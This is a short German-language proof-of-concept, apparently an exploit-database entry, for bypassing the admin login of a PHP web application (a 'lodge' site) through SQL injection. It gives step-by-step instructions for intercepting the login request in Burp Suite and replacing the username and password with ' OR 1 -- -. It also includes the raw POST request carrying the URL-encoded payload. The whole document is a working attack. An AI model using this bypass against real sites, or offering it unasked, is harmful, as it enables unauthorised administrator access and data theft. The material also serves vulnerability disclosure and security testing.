
Schritt 1: Rufen Sie das Admin-Panel des Produkts unter http://localhost/lodge/admin/login.php auf. Schritt 2: Geben Sie einen beliebigen Wert für Benutzername und Passwort ein. Schritt 3: Klicken Sie auf Login und fangen Sie die Anfrage in der Burp Suite ab. Schritt 4: Ändern Sie den Benutzernamen zu ' OR 1 -- - und das Passwort zu ' OR 1 -- -. Schritt 5: Klicken Sie auf Forward - Sie werden nun als Admin angemeldet.
POST /lodge/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost Connection: close Referer: http://localhost/lodge/admin/login.php Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+
Benutzername: ' or 1 -- - Passwort: ' or 1 -- -